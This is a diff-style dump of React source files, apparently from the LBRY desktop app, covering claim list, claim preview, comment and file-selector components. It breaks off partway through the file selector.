||||
// @flow
|
||||
import { MAIN_WRAPPER_CLASS } from 'component/app/view';
|
||||
import type { Node } from 'react';
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import classnames from 'classnames';
|
||||
import ClaimPreview from 'component/claimPreview';
|
||||
import Spinner from 'component/spinner';
|
||||
import { FormField } from 'component/common/form';
|
||||
import usePersistedState from 'util/use-persisted-state';
|
||||
|
||||
const SORT_NEW = 'new';
|
||||
const SORT_OLD = 'old';
|
||||
|
||||
type Props = {
|
||||
uris: Array<string>,
|
||||
header: Node | boolean,
|
||||
headerAltControls: Node,
|
||||
injectedItem?: Node,
|
||||
loading: boolean,
|
||||
type: string,
|
||||
empty?: string,
|
||||
defaultSort?: boolean,
|
||||
onScrollBottom?: any => void,
|
||||
page?: number,
|
||||
pageSize?: number,
|
||||
id?: string,
|
||||
// If using the default header, this is a unique ID needed to persist the state of the filter setting
|
||||
persistedStorageKey?: string,
|
||||
};
|
||||
|
||||
export default function ClaimList(props: Props) {
|
||||
const {
|
||||
uris,
|
||||
headerAltControls,
|
||||
injectedItem,
|
||||
loading,
|
||||
persistedStorageKey,
|
||||
empty,
|
||||
defaultSort,
|
||||
type,
|
||||
header,
|
||||
onScrollBottom,
|
||||
pageSize,
|
||||
page,
|
||||
id,
|
||||
} = props;
|
||||
const [scrollBottomCbMap, setScrollBottomCbMap] = useState({});
|
||||
const [currentSort, setCurrentSort] = usePersistedState(persistedStorageKey, SORT_NEW);
|
||||
const urisLength = (uris && uris.length) || 0;
|
||||
const sortedUris = (urisLength > 0 && (currentSort === SORT_NEW ? uris : uris.slice().reverse())) || [];
|
||||
|
||||
function handleSortChange() {
|
||||
setCurrentSort(currentSort === SORT_NEW ? SORT_OLD : SORT_NEW);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
setScrollBottomCbMap({});
|
||||
}, [id]);
|
||||
|
||||
useEffect(() => {
|
||||
function handleScroll(e) {
|
||||
if (page && pageSize && onScrollBottom && !scrollBottomCbMap[page]) {
|
||||
const x = document.querySelector(`.${MAIN_WRAPPER_CLASS}`);
|
||||
|
||||
if (x && window.scrollY + window.innerHeight >= x.offsetHeight) {
|
||||
if (!loading && urisLength >= pageSize) {
|
||||
onScrollBottom();
|
||||
|
||||
// Save that we've fetched this page to avoid weird stuff happening with fast scrolling
|
||||
setScrollBottomCbMap({ ...scrollBottomCbMap, [page]: true });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (onScrollBottom) {
|
||||
window.addEventListener('scroll', handleScroll);
|
||||
|
||||
return () => {
|
||||
window.removeEventListener('scroll', handleScroll);
|
||||
};
|
||||
}
|
||||
}, [loading, onScrollBottom, urisLength, pageSize, page, setScrollBottomCbMap]);
|
||||
|
||||
return (
|
||||
<section
|
||||
className={classnames('claim-list', {
|
||||
'claim-list--small': type === 'small',
|
||||
})}
|
||||
>
|
||||
{header !== false && (
|
||||
<div className={classnames('claim-list__header', { 'claim-list__header--small': type === 'small' })}>
|
||||
{header}
|
||||
{loading && <Spinner light type="small" />}
|
||||
<div className="claim-list__alt-controls">
|
||||
{headerAltControls}
|
||||
{defaultSort && (
|
||||
<FormField
|
||||
className="claim-list__dropdown"
|
||||
type="select"
|
||||
name="file_sort"
|
||||
value={currentSort}
|
||||
onChange={handleSortChange}
|
||||
>
|
||||
<option value={SORT_NEW}>{__('Newest First')}</option>
|
||||
<option value={SORT_OLD}>{__('Oldest First')}</option>
|
||||
</FormField>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{urisLength > 0 && (
|
||||
<ul className="ul--no-style">
|
||||
{sortedUris.map((uri, index) => (
|
||||
<React.Fragment key={uri}>
|
||||
<ClaimPreview uri={uri} type={type} />
|
||||
{index === 4 && injectedItem && injectedItem}
|
||||
</React.Fragment>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
{urisLength === 0 && !loading && <p className="main--empty empty">{empty || __('No results')}</p>}
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { connect } from 'react-redux';
|
||||
import { doClaimSearch, selectClaimSearchByQuery, selectFetchingClaimSearch, doToggleTagFollow } from 'lbry-redux';
|
||||
import { selectSubscriptions } from 'redux/selectors/subscriptions';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import ClaimListDiscover from './view';
|
||||
|
||||
const select = state => ({
|
||||
claimSearchByQuery: selectClaimSearchByQuery(state),
|
||||
loading: selectFetchingClaimSearch(state),
|
||||
subscribedChannels: selectSubscriptions(state),
|
||||
showNsfw: makeSelectClientSetting(SETTINGS.SHOW_NSFW)(state),
|
||||
});
|
||||
|
||||
const perform = {
|
||||
doClaimSearch,
|
||||
doToggleTagFollow,
|
||||
};
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(ClaimListDiscover);
|
||||
@@ -1,233 +0,0 @@
|
||||
// @flow
|
||||
import type { Node } from 'react';
|
||||
import React, { Fragment, useEffect } from 'react';
|
||||
import { withRouter } from 'react-router';
|
||||
import { buildClaimSearchCacheQuery, MATURE_TAGS } from 'lbry-redux';
|
||||
import { FormField } from 'component/common/form';
|
||||
import moment from 'moment';
|
||||
import ClaimList from 'component/claimList';
|
||||
import Tag from 'component/tag';
|
||||
import ClaimPreview from 'component/claimPreview';
|
||||
import { updateQueryParam } from 'util/query-params';
|
||||
import { toCapitalCase } from 'util/string';
|
||||
|
||||
const PAGE_SIZE = 20;
|
||||
const TIME_DAY = 'day';
|
||||
const TIME_WEEK = 'week';
|
||||
const TIME_MONTH = 'month';
|
||||
const TIME_YEAR = 'year';
|
||||
const TIME_ALL = 'all';
|
||||
const SEARCH_SORT_YOU = 'you';
|
||||
const SEARCH_SORT_ALL = 'everyone';
|
||||
const SEARCH_SORT_CHANNELS = 'channels';
|
||||
|
||||
const TYPE_TRENDING = 'trending';
|
||||
const TYPE_TOP = 'top';
|
||||
const TYPE_NEW = 'new';
|
||||
const SEARCH_FILTER_TYPES = [SEARCH_SORT_YOU, SEARCH_SORT_CHANNELS, SEARCH_SORT_ALL];
|
||||
const SEARCH_TYPES = [TYPE_TRENDING, TYPE_TOP, TYPE_NEW];
|
||||
const SEARCH_TIMES = [TIME_DAY, TIME_WEEK, TIME_MONTH, TIME_YEAR, TIME_ALL];
|
||||
|
||||
type Props = {
|
||||
uris: Array<string>,
|
||||
subscribedChannels: Array<Subscription>,
|
||||
doClaimSearch: ({}) => void,
|
||||
injectedItem: any,
|
||||
tags: Array<string>,
|
||||
loading: boolean,
|
||||
personalView: boolean,
|
||||
doToggleTagFollow: string => void,
|
||||
meta?: Node,
|
||||
showNsfw: boolean,
|
||||
history: { action: string, push: string => void, replace: string => void },
|
||||
location: { search: string, pathname: string },
|
||||
claimSearchByQuery: {
|
||||
[string]: Array<string>,
|
||||
},
|
||||
};
|
||||
|
||||
function ClaimListDiscover(props: Props) {
|
||||
const {
|
||||
doClaimSearch,
|
||||
claimSearchByQuery,
|
||||
tags,
|
||||
loading,
|
||||
personalView,
|
||||
injectedItem,
|
||||
meta,
|
||||
subscribedChannels,
|
||||
showNsfw,
|
||||
history,
|
||||
location,
|
||||
} = props;
|
||||
const didNavigateForward = history.action === 'PUSH';
|
||||
const { search, pathname } = location;
|
||||
const urlParams = new URLSearchParams(search);
|
||||
const personalSort = urlParams.get('sort') || SEARCH_SORT_YOU;
|
||||
const typeSort = urlParams.get('type') || TYPE_TRENDING;
|
||||
const timeSort = urlParams.get('time') || TIME_WEEK;
|
||||
const page = Number(urlParams.get('page')) || 1;
|
||||
const tagsInUrl = urlParams.get('t') || '';
|
||||
const url = `${pathname}${search}`;
|
||||
const options: {
|
||||
page_size: number,
|
||||
page: number,
|
||||
no_totals: boolean,
|
||||
any_tags: Array<string>,
|
||||
channel_ids: Array<string>,
|
||||
not_tags: Array<string>,
|
||||
order_by: Array<string>,
|
||||
release_time?: string,
|
||||
} = {
|
||||
page_size: PAGE_SIZE,
|
||||
page,
|
||||
// no_totals makes it so the sdk doesn't have to calculate total number pages for pagination
|
||||
// it's faster, but we will need to remove it if we start using total_pages
|
||||
no_totals: true,
|
||||
any_tags: (personalView && personalSort === SEARCH_SORT_YOU) || !personalView ? tags : [],
|
||||
channel_ids: personalSort === SEARCH_SORT_CHANNELS ? subscribedChannels.map(sub => sub.uri.split('#')[1]) : [],
|
||||
not_tags: !showNsfw ? MATURE_TAGS : [],
|
||||
order_by:
|
||||
typeSort === TYPE_TRENDING
|
||||
? ['trending_global', 'trending_mixed']
|
||||
: typeSort === TYPE_NEW
|
||||
? ['release_time']
|
||||
: ['effective_amount'], // Sort by top
|
||||
};
|
||||
|
||||
if (typeSort === TYPE_TOP && timeSort !== TIME_ALL) {
|
||||
options.release_time = `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, timeSort)
|
||||
.unix()
|
||||
)}`;
|
||||
}
|
||||
|
||||
const claimSearchCacheQuery = buildClaimSearchCacheQuery(options);
|
||||
const uris = claimSearchByQuery[claimSearchCacheQuery] || [];
|
||||
const shouldPerformSearch =
|
||||
uris.length === 0 ||
|
||||
didNavigateForward ||
|
||||
(!loading && uris.length < PAGE_SIZE * page && uris.length % PAGE_SIZE === 0);
|
||||
// Don't use the query from buildClaimSearchCacheQuery for the effect since that doesn't include page & release_time
|
||||
const optionsStringForEffect = JSON.stringify(options);
|
||||
|
||||
function getSearch() {
|
||||
let search = `?`;
|
||||
if (!personalView) {
|
||||
search += `t=${tagsInUrl}&`;
|
||||
}
|
||||
|
||||
return search;
|
||||
}
|
||||
|
||||
function handleTypeSort(newTypeSort) {
|
||||
let url = `${getSearch()}type=${newTypeSort}&sort=${personalSort}`;
|
||||
if (newTypeSort === TYPE_TOP) {
|
||||
url += `&time=${timeSort}`;
|
||||
}
|
||||
history.push(url);
|
||||
}
|
||||
|
||||
function handlePersonalSort(newPersonalSort) {
|
||||
history.push(`${getSearch()}type=${typeSort}&sort=${newPersonalSort}`);
|
||||
}
|
||||
|
||||
function handleTimeSort(newTimeSort) {
|
||||
history.push(`${getSearch()}type=${typeSort}&sort=${personalSort}&time=${newTimeSort}`);
|
||||
}
|
||||
|
||||
function handleScrollBottom() {
|
||||
if (!loading) {
|
||||
const uri = updateQueryParam(url, 'page', page + 1);
|
||||
history.replace(uri);
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
if (shouldPerformSearch) {
|
||||
const searchOptions = JSON.parse(optionsStringForEffect);
|
||||
doClaimSearch(searchOptions);
|
||||
}
|
||||
}, [doClaimSearch, shouldPerformSearch, optionsStringForEffect]);
|
||||
|
||||
const header = (
|
||||
<Fragment>
|
||||
<FormField
|
||||
className="claim-list__dropdown"
|
||||
type="select"
|
||||
name="trending_sort"
|
||||
value={typeSort}
|
||||
onChange={e => handleTypeSort(e.target.value)}
|
||||
>
|
||||
{SEARCH_TYPES.map(type => (
|
||||
<option key={type} value={type}>
|
||||
{toCapitalCase(type)}
|
||||
</option>
|
||||
))}
|
||||
</FormField>
|
||||
<span>{__('For')}</span>
|
||||
{!personalView && tags && tags.length ? (
|
||||
tags.map(tag => <Tag key={tag} name={tag} disabled />)
|
||||
) : (
|
||||
<FormField
|
||||
type="select"
|
||||
name="trending_overview"
|
||||
className="claim-list__dropdown"
|
||||
value={personalSort}
|
||||
onChange={e => {
|
||||
handlePersonalSort(e.target.value);
|
||||
}}
|
||||
>
|
||||
{SEARCH_FILTER_TYPES.map(type => (
|
||||
<option key={type} value={type}>
|
||||
{type === SEARCH_SORT_ALL
|
||||
? __('Everyone')
|
||||
: type === SEARCH_SORT_YOU
|
||||
? __('Tags You Follow')
|
||||
: __('Channels You Follow')}
|
||||
</option>
|
||||
))}
|
||||
</FormField>
|
||||
)}
|
||||
{typeSort === 'top' && (
|
||||
<FormField
|
||||
className="claim-list__dropdown"
|
||||
type="select"
|
||||
name="trending_time"
|
||||
value={timeSort}
|
||||
onChange={e => handleTimeSort(e.target.value)}
|
||||
>
|
||||
{SEARCH_TIMES.map(time => (
|
||||
<option key={time} value={time}>
|
||||
{/* i18fixme */}
|
||||
{time === TIME_DAY && __('Today')}
|
||||
{time !== TIME_ALL && time !== TIME_DAY && `${__('This')} ${toCapitalCase(time)}`}
|
||||
{time === TIME_ALL && __('All time')}
|
||||
</option>
|
||||
))}
|
||||
</FormField>
|
||||
)}
|
||||
</Fragment>
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="card">
|
||||
<ClaimList
|
||||
id={claimSearchCacheQuery}
|
||||
loading={loading}
|
||||
uris={uris}
|
||||
injectedItem={personalSort === SEARCH_SORT_YOU && injectedItem}
|
||||
header={header}
|
||||
headerAltControls={meta}
|
||||
onScrollBottom={handleScrollBottom}
|
||||
page={page}
|
||||
pageSize={PAGE_SIZE}
|
||||
/>
|
||||
|
||||
{loading && new Array(PAGE_SIZE).fill(1).map((x, i) => <ClaimPreview key={i} placeholder="loading" />)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default withRouter(ClaimListDiscover);
|
||||
@@ -1,38 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import {
|
||||
doResolveUri,
|
||||
makeSelectClaimForUri,
|
||||
makeSelectIsUriResolving,
|
||||
makeSelectClaimIsMine,
|
||||
makeSelectClaimIsPending,
|
||||
makeSelectThumbnailForUri,
|
||||
makeSelectTitleForUri,
|
||||
makeSelectClaimIsNsfw,
|
||||
} from 'lbry-redux';
|
||||
import { selectBlackListedOutpoints, selectFilteredOutpoints } from 'lbryinc';
|
||||
import { selectShowNsfw } from 'redux/selectors/settings';
|
||||
import { makeSelectHasVisitedUri } from 'redux/selectors/content';
|
||||
import ClaimPreview from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
pending: makeSelectClaimIsPending(props.uri)(state),
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
obscureNsfw: !selectShowNsfw(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
isResolvingUri: makeSelectIsUriResolving(props.uri)(state),
|
||||
thumbnail: makeSelectThumbnailForUri(props.uri)(state),
|
||||
title: makeSelectTitleForUri(props.uri)(state),
|
||||
nsfw: makeSelectClaimIsNsfw(props.uri)(state),
|
||||
blackListedOutpoints: selectBlackListedOutpoints(state),
|
||||
filteredOutpoints: selectFilteredOutpoints(state),
|
||||
hasVisitedUri: makeSelectHasVisitedUri(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
resolveUri: uri => dispatch(doResolveUri(uri)),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(ClaimPreview);
|
||||
@@ -1,191 +0,0 @@
|
||||
// @flow
|
||||
import React, { Fragment, useEffect } from 'react';
|
||||
import classnames from 'classnames';
|
||||
import { parseURI, convertToShareLink } from 'lbry-redux';
|
||||
import { withRouter } from 'react-router-dom';
|
||||
import { openCopyLinkMenu } from 'util/context-menu';
|
||||
import { formatLbryUriForWeb } from 'util/uri';
|
||||
import CardMedia from 'component/cardMedia';
|
||||
import UriIndicator from 'component/uriIndicator';
|
||||
import TruncatedText from 'component/common/truncated-text';
|
||||
import DateTime from 'component/dateTime';
|
||||
import FileProperties from 'component/fileProperties';
|
||||
import ClaimTags from 'component/claimTags';
|
||||
import SubscribeButton from 'component/subscribeButton';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import Button from 'component/button';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: ?Claim,
|
||||
obscureNsfw: boolean,
|
||||
claimIsMine: boolean,
|
||||
pending?: boolean,
|
||||
resolveUri: string => void,
|
||||
isResolvingUri: boolean,
|
||||
preventResolve: boolean,
|
||||
history: { push: string => void },
|
||||
thumbnail: string,
|
||||
title: string,
|
||||
nsfw: boolean,
|
||||
placeholder: string,
|
||||
type: string,
|
||||
hasVisitedUri: boolean,
|
||||
blackListedOutpoints: Array<{
|
||||
txid: string,
|
||||
nout: number,
|
||||
}>,
|
||||
filteredOutpoints: Array<{
|
||||
txid: string,
|
||||
nout: number,
|
||||
}>,
|
||||
};
|
||||
|
||||
function ClaimPreview(props: Props) {
|
||||
const {
|
||||
obscureNsfw,
|
||||
claimIsMine,
|
||||
pending,
|
||||
history,
|
||||
uri,
|
||||
isResolvingUri,
|
||||
thumbnail,
|
||||
title,
|
||||
nsfw,
|
||||
resolveUri,
|
||||
claim,
|
||||
placeholder,
|
||||
type,
|
||||
blackListedOutpoints,
|
||||
filteredOutpoints,
|
||||
hasVisitedUri,
|
||||
} = props;
|
||||
const haventFetched = claim === undefined;
|
||||
const abandoned = !isResolvingUri && !claim;
|
||||
const claimsInChannel = (claim && claim.meta.claims_in_channel) || 0;
|
||||
const showPublishLink = abandoned && placeholder === 'publish';
|
||||
const includeChannelTooltip = type !== 'inline' && type !== 'tooltip';
|
||||
const hideActions = type === 'small' || type === 'tooltip';
|
||||
|
||||
let isValid;
|
||||
let parsedUrl;
|
||||
try {
|
||||
parsedUrl = parseURI(uri);
|
||||
if (claim.signing_channel) {
|
||||
parseURI(claim.signing_channel.permanent_url);
|
||||
}
|
||||
isValid = true;
|
||||
} catch (e) {
|
||||
isValid = false;
|
||||
}
|
||||
|
||||
const isChannel = isValid ? parsedUrl.isChannel : false;
|
||||
let shouldHide =
|
||||
placeholder !== 'loading' && ((abandoned && !showPublishLink) || (!claimIsMine && obscureNsfw && nsfw));
|
||||
|
||||
// This will be replaced once blocking is done at the wallet server level
|
||||
if (claim && !shouldHide && blackListedOutpoints) {
|
||||
shouldHide = blackListedOutpoints.some(outpoint => outpoint.txid === claim.txid && outpoint.nout === claim.nout);
|
||||
}
|
||||
|
||||
if (claim && !shouldHide && filteredOutpoints) {
|
||||
shouldHide = filteredOutpoints.some(outpoint => outpoint.txid === claim.txid && outpoint.nout === claim.nout);
|
||||
}
|
||||
|
||||
function handleContextMenu(e) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (claim) {
|
||||
openCopyLinkMenu(convertToShareLink(claim.permanent_url), e);
|
||||
}
|
||||
}
|
||||
|
||||
function onClick(e) {
|
||||
if ((isChannel || title) && !pending) {
|
||||
history.push(formatLbryUriForWeb(uri));
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
if (isValid && !isResolvingUri && haventFetched && uri) {
|
||||
resolveUri(uri);
|
||||
}
|
||||
}, [isValid, isResolvingUri, uri, resolveUri, haventFetched]);
|
||||
|
||||
if (shouldHide) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (placeholder === 'loading' || (isResolvingUri && !claim)) {
|
||||
return (
|
||||
<li className={classnames('claim-preview', { 'claim-preview--large': type === 'large' })} disabled>
|
||||
<div className="placeholder media__thumb" />
|
||||
<div className="placeholder__wrapper">
|
||||
<div className="placeholder claim-preview-title" />
|
||||
<div className="placeholder media__subtitle" />
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<li
|
||||
role="link"
|
||||
onClick={pending || type === 'inline' ? undefined : onClick}
|
||||
onContextMenu={handleContextMenu}
|
||||
className={classnames('claim-preview', {
|
||||
'claim-preview--small': type === 'small' || type === 'tooltip',
|
||||
'claim-preview--large': type === 'large',
|
||||
'claim-preview--inline': type === 'inline',
|
||||
'claim-preview--tooltip': type === 'tooltip',
|
||||
'claim-preview--visited': !isChannel && !claimIsMine && hasVisitedUri,
|
||||
'claim-preview--pending': pending,
|
||||
})}
|
||||
>
|
||||
{isChannel ? <ChannelThumbnail uri={uri} /> : <CardMedia thumbnail={thumbnail} />}
|
||||
<div className="claim-preview-metadata">
|
||||
<div className="claim-preview-info">
|
||||
<div className="claim-preview-title">
|
||||
{claim ? <TruncatedText text={title || claim.name} lines={1} /> : <span>{__('Nothing here')}</span>}
|
||||
</div>
|
||||
{!hideActions && (
|
||||
<div>
|
||||
{isChannel && <SubscribeButton uri={uri.startsWith('lbry://') ? uri : `lbry://${uri}`} />}
|
||||
{!isChannel && <FileProperties uri={uri} />}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="claim-preview-properties">
|
||||
<div className="media__subtitle">
|
||||
{pending && <div>Pending...</div>}
|
||||
{!isResolvingUri && (
|
||||
<div>
|
||||
{claim ? (
|
||||
<UriIndicator uri={uri} link addTooltip={includeChannelTooltip} />
|
||||
) : (
|
||||
<Fragment>
|
||||
<div>{__('Publish something and claim this spot!')}</div>
|
||||
<div className="card__actions">
|
||||
<Button button="primary" label={`${__('Publish to')} ${uri}`} />
|
||||
</div>
|
||||
</Fragment>
|
||||
)}
|
||||
<div>
|
||||
{isChannel ? (
|
||||
type !== 'inline' && `${claimsInChannel} ${__('publishes')}`
|
||||
) : (
|
||||
<DateTime timeAgo uri={uri} />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<ClaimTags uri={uri} type={type} />
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
export default withRouter(ClaimPreview);
|
||||
@@ -1,14 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectShortUrlForUri, doToast } from 'lbry-redux';
|
||||
import ClaimUri from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
shortUrl: makeSelectShortUrlForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
{
|
||||
doToast,
|
||||
}
|
||||
)(ClaimUri);
|
||||
@@ -1,7 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import Comment from './view';
|
||||
|
||||
export default connect(
|
||||
null,
|
||||
null
|
||||
)(Comment);
|
||||
@@ -1,34 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import relativeDate from 'tiny-relative-date';
|
||||
import Button from 'component/button';
|
||||
|
||||
type Props = {
|
||||
author: string,
|
||||
authorUri: string,
|
||||
message: string,
|
||||
timePosted: number,
|
||||
};
|
||||
|
||||
function Comment(props: Props) {
|
||||
const { author, authorUri, timePosted, message } = props;
|
||||
|
||||
return (
|
||||
<li className="comment">
|
||||
<div className="comment__meta">
|
||||
<Button
|
||||
className="button--uri-indicator truncated-text comment__author"
|
||||
navigate={authorUri}
|
||||
label={author || __('Anonymous')}
|
||||
/>
|
||||
<time className="comment__time" dateTime={timePosted}>
|
||||
{relativeDate(timePosted)}
|
||||
</time>
|
||||
</div>
|
||||
|
||||
<p className={'comment__message'}>{message}</p>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
export default Comment;
|
||||
@@ -1,17 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
|
||||
import { doCommentCreate, makeSelectClaimForUri } from 'lbry-redux';
|
||||
import { CommentCreate } from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
createComment: (comment, claimId, channel) => dispatch(doCommentCreate(comment, claimId, channel)),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(CommentCreate);
|
||||
@@ -1,91 +0,0 @@
|
||||
// @flow
|
||||
import { CHANNEL_NEW } from 'constants/claim';
|
||||
import React from 'react';
|
||||
import { FormField, Form } from 'component/common/form';
|
||||
import Button from 'component/button';
|
||||
import ChannelSection from 'component/selectChannel';
|
||||
import usePersistedState from 'util/use-persisted-state';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: StreamClaim,
|
||||
createComment: (string, string, string) => void,
|
||||
};
|
||||
|
||||
export function CommentCreate(props: Props) {
|
||||
const { createComment, claim } = props;
|
||||
const { claim_id: claimId } = claim;
|
||||
const [commentValue, setCommentValue] = usePersistedState(`comment-${claimId}`, '');
|
||||
const [commentAck, setCommentAck] = usePersistedState('comment-acknowledge', false);
|
||||
const [channel, setChannel] = usePersistedState('comment-channel', 'anonymous');
|
||||
|
||||
function handleCommentChange(event) {
|
||||
setCommentValue(event.target.value);
|
||||
}
|
||||
|
||||
function handleChannelChange(channel) {
|
||||
setChannel(channel);
|
||||
}
|
||||
|
||||
function handleCommentAck(event) {
|
||||
setCommentAck(true);
|
||||
}
|
||||
|
||||
function handleSubmit() {
|
||||
if (channel !== CHANNEL_NEW && commentValue.length) createComment(commentValue, claimId, channel);
|
||||
setCommentValue('');
|
||||
}
|
||||
|
||||
return (
|
||||
<section>
|
||||
{commentAck !== true && (
|
||||
<div>
|
||||
<p>{__('A few things to know before participating in the comment alpha:')}</p>
|
||||
<ul>
|
||||
<li>
|
||||
{__('During the alpha, all comments are sent to a LBRY, Inc. server, not the LBRY network itself.')}
|
||||
</li>
|
||||
<li>
|
||||
{__(
|
||||
'During the alpha, comments are not decentralized or censorship resistant (but we repeat ourselves).'
|
||||
)}
|
||||
</li>
|
||||
<li>
|
||||
{__(
|
||||
'For the initial release, deleting or editing comments is not possible. Please be mindful of this when posting.'
|
||||
)}
|
||||
</li>
|
||||
<li>
|
||||
{__(
|
||||
'When the alpha ends, we will attempt to transition comments, but do not promise to do so. Any transition will likely involve publishing previous comments under a single archive handle.'
|
||||
)}
|
||||
</li>
|
||||
</ul>
|
||||
<Button button="primary" onClick={handleCommentAck} label={__('Got it!')} />
|
||||
</div>
|
||||
)}
|
||||
{commentAck === true && (
|
||||
<Form onSubmit={handleSubmit}>
|
||||
<ChannelSection channel={channel} onChannelChange={handleChannelChange} />
|
||||
<FormField
|
||||
disabled={channel === CHANNEL_NEW}
|
||||
type="textarea"
|
||||
name="content_description"
|
||||
label={__('Comment')}
|
||||
placeholder={__('Your comment')}
|
||||
value={commentValue}
|
||||
onChange={handleCommentChange}
|
||||
/>
|
||||
<div className="card__actions">
|
||||
<Button
|
||||
button="primary"
|
||||
disabled={channel === CHANNEL_NEW || !commentValue.length}
|
||||
type="submit"
|
||||
label={__('Post')}
|
||||
/>
|
||||
</div>
|
||||
</Form>
|
||||
)}
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectCommentsForUri, doCommentList } from 'lbry-redux';
|
||||
import CommentsList from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
comments: makeSelectCommentsForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
fetchComments: uri => dispatch(doCommentList(uri)),
|
||||
});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(CommentsList);
|
||||
@@ -1,39 +0,0 @@
|
||||
// @flow
|
||||
import React, { useEffect } from 'react';
|
||||
import Comment from 'component/comment';
|
||||
|
||||
type Props = {
|
||||
comments: Array<any>,
|
||||
fetchComments: string => void,
|
||||
uri: string,
|
||||
};
|
||||
|
||||
function CommentList(props: Props) {
|
||||
const { fetchComments, uri, comments } = props;
|
||||
|
||||
useEffect(() => {
|
||||
fetchComments(uri);
|
||||
}, [fetchComments, uri]);
|
||||
|
||||
return (
|
||||
<ul className="comments">
|
||||
{comments &&
|
||||
comments.map(comment => {
|
||||
return (
|
||||
<Comment
|
||||
authorUri={comment.channel_url}
|
||||
author={comment.channel_name}
|
||||
claimId={comment.channel_id}
|
||||
commentId={comment.comment_id}
|
||||
key={comment.channel_id + comment.comment_id}
|
||||
message={comment.comment}
|
||||
parentId={comment.parent_id || null}
|
||||
timePosted={comment.timestamp * 1000}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
|
||||
export default CommentList;
|
||||
@@ -1,105 +0,0 @@
|
||||
// @flow
|
||||
import * as React from 'react';
|
||||
import { remote } from 'electron';
|
||||
import Button from 'component/button';
|
||||
import { FormField } from 'component/common/form';
|
||||
import path from 'path';
|
||||
|
||||
type FileFilters = {
|
||||
name: string,
|
||||
extensions: string[],
|
||||
};
|
||||
|
||||
type Props = {
|
||||
type: string,
|
||||
currentPath?: ?string,
|
||||
onFileChosen: (string, string) => void,
|
||||
label?: string,
|
||||
placeholder?: string,
|
||||
fileLabel?: string,
|
||||
directoryLabel?: string,
|
||||
filters?: FileFilters[],
|
||||
};
|
||||
|
||||
class FileSelector extends React.PureComponent<Props> {
|
||||
static defaultProps = {
|
||||
type: 'file',
|
||||
};
|
||||
|
||||
fileInput: { current: React.ElementRef<any> };
|
||||
|
||||
constructor() {
|
||||
super();
|
||||
// @if TARGET='web'
|
||||
this.fileInput = React.createRef();
|
||||
// @endif
|
||||
}
|
||||
|
||||
handleButtonClick() {
|
||||
remote.dialog.showOpenDialog(
|
||||
remote.getCurrentWindow(),
|
||||
{
|
||||
properties: this.props.type === 'file' ? ['openFile'] : ['openDirectory', 'createDirectory'],
|
||||
filters: this.props.filters,
|
||||
},
|
||||
paths => {
|
||||
if (!paths) {
|
||||
// User hit cancel, so do nothing
|
||||
return;
|
||||
}
|
||||
|
||||
const filePath = paths[0];
|
||||
|
||||
const extension = path.extname(filePath);
|
||||
const fileName = path.basename(filePath, extension);
|
||||
|
||||
if (this.props.onFileChosen) {
|
||||
this.props.onFileChosen(filePath, fileName);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
// TODO: Add this back for web publishing
|
||||
// handleFileInputSelection() {
|
||||
// const { files } = this.fileInput.current;
|
||||
// if (!files) {
|
||||
// return;
|
||||
// }
|
||||
|
||||
// const filePath = files[0];
|
||||
// const fileName = filePath.name;
|
||||
|
||||
// if (this.props.onFileChosen) {
|
||||
// this.props.onFileChosen(filePath, fileName);
|
||||
// }
|
||||
// }
|
||||
|
||||
input: ?HTMLInputElement;
|
||||
|
||||
render() {
|
||||
